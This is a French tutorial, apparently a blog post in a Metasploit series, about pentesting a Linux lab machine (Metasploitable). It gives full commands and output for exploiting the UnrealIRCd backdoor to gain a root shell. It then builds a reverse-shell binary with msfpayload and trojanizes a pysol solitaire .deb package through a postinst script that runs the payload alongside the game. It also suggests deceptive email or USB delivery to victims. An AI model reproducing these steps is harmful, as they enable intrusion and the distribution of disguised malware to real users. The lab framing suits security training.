Suite à l’article précédent qui présentait Metasploit et traitait de la préparation du Workspace, voyons à présent comment réaliser un Pentest sur un système Linux.
Pour réaliser un Pentest, il vous faut donc Metasploit.
Il vous faut aussi bien évidement une cible de test. Comme mentionné dans l’un des précédents articles, la machine virtuelle Metasploitable est idéale pour les Pen Test Linux.
1) Exploiter une vulnérabilité
Premièrement, il nous faut identifier une faille à exploiter.
Deux solutions s’offrent à vous :
- Lister les vulnérabilités d’une cible depuis la console Msf
- Utiliser le rapport fourni par l’interface Web d’OpenVAS ou Nessus
A vous de faire le choix en fonctions des options qui s’offrent à vous.
Commençons par utiliser l’interface Web.
Reprenons donc le rapport d’OpenVAS que nous avons importé dans le Workspace.
Dans ce rapport, une faille était identifiée.
Il s’agit d’une Backdoor nous permettant d’exécuter des commandes système.
Cette faille semble idéale pour prendre la main à distance.
Si vous souhaitez utiliser la CLI, il vous faut au préalable avoir créé un Workspace, et y avoir importé un rapport.
Voici comment lister les vulnérabilités des hôtes du Workspace :
msf > vulns
[*] Time: 2014-04-03 21:54:06 UTC Vuln: host=192.168.1.219 name=NSS-103185 refs=URL-http,URL-http,URL-http,BID-48539,URL-https,NSS-103185
[*] Time: 2014-04-03 21:54:07 UTC Vuln: host=192.168.1.219 name=NSS-103553 refs=URL-http,URL-http,URL-http,URL-http,CVE-2004-2687,NSS-103553
[*] Time: 2014-04-03 21:54:07 UTC Vuln: host=192.168.1.219 name=NSS-12638 refs=NSS-12638
…
[*] Time: 2014-04-03 21:54:10 UTC Vuln: host=192.168.1.219 name=NSS-80111 refs=URL-http,URL-http,URL-http,CVE-2010-2075,BID-40820,NSS-80111
La commande vulns –I vous permet d’obtenir plus de détails sur les vulnérabilités.
Vous conviendrez que l’utilisation de l’interface Web est bien plus aisée.
Dans la console Msf, recherchons un exploit correspondant à cette faille, à l’aide de son identifiant CVE.
msf > search cve:2010-2075 Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 00:00:00 UTC excellent UnrealIRCD 3.2.8.1 Backdoor Command Execution
Il existe un exploit pour cette faille.
Utilisons-le.
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unreal_ircd_3281_backdoor) >
A présent, il nous faut définir la cible.
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.1.219
RHOST => 192.168.1.219
Vous pouvez lister les options actuelles comme suit :
msf exploit(unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.219 yes The target address
RPORT 6667 yes The target port
Exploit target:
Id Name
-- ----
0 Automatic Target
Nous avons donc un exploit à utiliser contre la cible.
Il nous faut à présent une payload.
msf exploit(unreal_ircd_3281_backdoor) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via Perl)
cmd/unix/bind_perl_ipv6 normal Unix Command Shell, Bind TCP (via perl) IPv6
cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/bind_ruby_ipv6 normal Unix Command Shell, Bind TCP (via Ruby) IPv6
cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via Perl)
cmd/unix/reverse_perl_ssl normal Unix Command Shell, Reverse TCP SSL (via perl)
cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)
cmd/unix/reverse_ruby_ssl normal Unix Command Shell, Reverse TCP SSL (via Ruby)
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
A partir de cette liste, il faut choisir une payload.
Pour ouvrir une session, il faut une payload du type Bind.
Les Reverse seront utilisées pour les exploits asynchrone.
Prenons par exemple cmd/unix/bind_ruby
msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_ruby
payload => cmd/unix/bind_ruby
Il ne reste plus qu’à lancer l’exploit.
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started bind handler
[*] Connected to 192.168.1.219:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Command shell session 1 opened (192.168.1.210:57066 -> 192.168.1.219:4444) at 2014-04-04 05:09:44 +0200
A partir d’ici, nous avons accès au shell de la machine distante !
Vous pouvez entrer les commandes que vous souhaitez.
uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux free m total used free shared buffers cached Mem: 515448 471592 43856 0 77924 136592 -/+ buffers/cache: 257076 258372 Swap: 0 0 0 id uid=0(root) gid=0(root)
Vous êtres root, vous pouvez faire ce que vous souhaitez.
2) Exploit Asynchrone
Fichier exécutable
Nous avons vu comment exploiter une faille sur une machine. Mais comment faire si la cible de possède pas de faille ?
Il nous est alors possible de réaliser un exploit asynchrone.
Pour cela, nous allons créer un fichier malveillant, et forcer la cible à exécuter ce fichier.
Pour forcer la cible à exécuter le fichier, les techniques sont diverses :
- Envoie du fichier par mail, en faisant croire à un mail légitime
- Donner le fichier à l’aide d’une clé USB
- Copier le fichier soit même sur la machine cible
- Etc…
L’exploit asynchrone fait souvent appel à du Social Engineering.
C’est-à-dire qu’il va nous falloir convaincre la victime de récupérer et exécuter le fichier.
Le fichier malveillant peut être de tout type (document, exécutable, etc…).
Quand la victime ouvrira ce fichier, cela aura pour effet « d’appeler » l’attaquant.
Sur la machine de l’attaquant, le Handler a pour but de capter cet appel.
Commençons donc par créer ce fichier.
Comme précédemment, nous souhaitons ouvrir une session console vers la victime.
Commençons par lister les payload disponibles.
msf> msfpayload –l
…
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
…
Dans la liste qui s’affiche, vous pouvez choisir la payload qui vous convient.
Pour les Handlers, il faut choisir une Reverse.
Si la liste s’affiche mal, vous pouvez rediriger la sortie de commande dans un fichier :
msf> msfpayload -l > /payload.txt
Nous allons donc choisir la payload indiquée précédemment.
root@kali:~# msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.210 LPORT=3456 X > Pacman
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 71
Options: {"LHOST"=>"192.168.1.210", "LPORT"=>"3456"}
Nous avons donc créé un fichier malveillant appelé Pacman qui lancera un appel vers 192.168.1.210.
Le port utilisé est le 3456.
A présent, il faut upploader ce fichier sur la machine cible.
msfadmin@metasploitable:~$ ls
Pacman
Ensuite, nous devons créer le Handler, pour capturer l’appel venant de la victime.
msf> use exploit/multi/handler msf exploit(handler) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp
Nous pouvons ensuite spécifier le port utilisé pour l’appel, ainsi que l’IP.
msf exploit(handler) > set LPORT 3456 LPORT => 3456 msf exploit(handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0
Nous pouvons lancer le Handler
msf exploit(handler) > exploit
[*] Started reverse handler on 0.0.0.0:3456
[*] Starting the payload handler...
A présent, lançons le fichier malveillant sur la cible.
Si vous n’avez pas d’interface graphique, voici la commande pour exécuter le fichier.
msfadmin@metasploitable:~$ ./Pacman
De retour dans la console Msf, nous pouvons voir que l’appel est arrivé.
[*] Sending stage (36 bytes) to 192.168.1.219 [*] Command shell session 2 opened (192.168.1.210:3456 -> 192.168.1.219:37862) at 2014-04-04 06:04:28 +0200
Vous avez à présent accès à la console.
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Package malveillant
Nous avons donc vu comment créer notre premier exploit asynchrone.
Mais il s’agissait là d’un fichier binaire à exécuter.
Il y a peu de chance que vous puissiez piéger quelqu’un avec cela.
Nous allons donc créer un package malveillant.
Ce package contiendra le jeu du solitaire, plus notre payload.
En voulant installer le jeu, l’utilisateur exécutera aussi la payload.
Nous prendrons donc la main alors que la victime utilisera le jeu nouvellement installé.
De plus, si l’utilisateur ferme le jeu, l’exploit lui sera toujours en fonction !
Commençons donc par récupérer un package à corrompre.
root@kali:~# mkdir hack root@kali:~# cd hack/ root@kali:~/hack# apt-get --download-only install pysol
Pysol est un jeu de solitaire.
root@kali:~/hack# ls
pysol_4.82.1-4.1ubuntu7_all.deb
Nous pouvons maintenant extraire le package.
root@kali:~/hack# dpkg -x pysol_4.82.1-4.1ubuntu7_all.deb pysol root@kali:~/hack# cd pysol/
A présent, l’idée est d’inclure notre payload dans le package.
Afin que la payload soit lancée, il nous faut apporter quelques modifications au package, avant de le reconstruire.
Premièrement, créer un dossier DEBIAN.
root@kali:~/hack/pysol# mkdir DEBIAN
Créez-y un fichier control rempli comme suit :
root@kali:~/hack/pysol# nano DEBIAN/control
Package: pysol
Version: 4.8
Section: Games
Priority: optional
Architecture: i386
Maintainer: OK
Description: OK
Créer aussi un fichier postint.
root@kali:~/hack/pysol# nano DEBIAN/postinst
#!/bin/sh
sudo chmod 2755 /usr/games/pysol_int && /usr/games/pysol_int & /usr/games/pysol &
Il s’agit là d’un script qui va exécuter le jeu (fichier pysol) plus la payload (fichier pysol_int).
A présent, créons une payload.
root@kali:~# msfconsole msf > msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.210 LPORT=1234 X > pysol_int
Rapatrions la payload dans le bon dossier.
root@kali:~/hack/pysol# mv /root/pysol_int usr/games/pysol_int
Rendons le script postint exécutable.
root@kali:~/hack/pysol# chmod 755 DEBIAN/postinst
Nous pouvons à présent reconstruire le package.
root@kali:~/hack# dpkg --build pysol/
dpkg-deb: building package `pysol' in `pysol.deb'.
A présent, il faut faire en sorte que la victime installe ce package.
Dans votre environnement de test, vous pouvez rapatrier le package en SCP sur la cible.
De retour dans la console Msf, il faut créer le Handler.
msf > use exploit/multi/handler msf exploit(handler) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp msf exploit(handler) > set LPORT 1234 LPORT => 1234 msf exploit(handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf exploit(handler) > exploit [*] Started reverse handler on 0.0.0.0:1234 [*] Starting the payload handler...
A présent, si l’utilisateur installe le package, nous pourrons prendre la main.
Pour installer la package, il vous faut une machine Linux, de préférence avec une interface graphique (car le jeu nécessite une interface graphique).
Néanmoins, vous pouvez lancer l’installation dans la VM Metasploitable.
Vous obtiendrez des erreurs, mais la payload sera tout de même lancée.
Pour lancer l’installation, sans interface graphique, utiliser la commande suivante :
root@linux# dpkg -i pysol.deb
De retour dans la console Msf, vous verrez l’appel arriver.
[*] Command shell session 1 opened (192.168.1.210:1234 -> 192.168.1.219:49683) at 2014-04-04 13:20:39 +0200
Vous avez à présent la main sur la machine !
Id uid=0(root) gid=0(root) groups=0(root)
3) Conclusion
Nous avons donc vu comment réaliser des exploits sur un système Linux.
Je vous invite à présent à passer à l’article suivant traitant des exploits sur Windows.
Nous verrons que la réalisation d’exploits est très proche.
A l’issus de cet article, nous tirerons quelques conclusions quant aux méthodes de protection contre ce type d’exploits.
salut,merci bien pour votre tuto ,j’ai une question svp quel sont les fichiers système linux dont on peut injecter meterpreter par exemple dans windows on trouve notepad mais linux je ne sais pas aidez moi svp .
Bonjour,
En fait cela dépend de la faille que vous souhaitez exploiter. Chaque faille fera appel à des fichiers différents.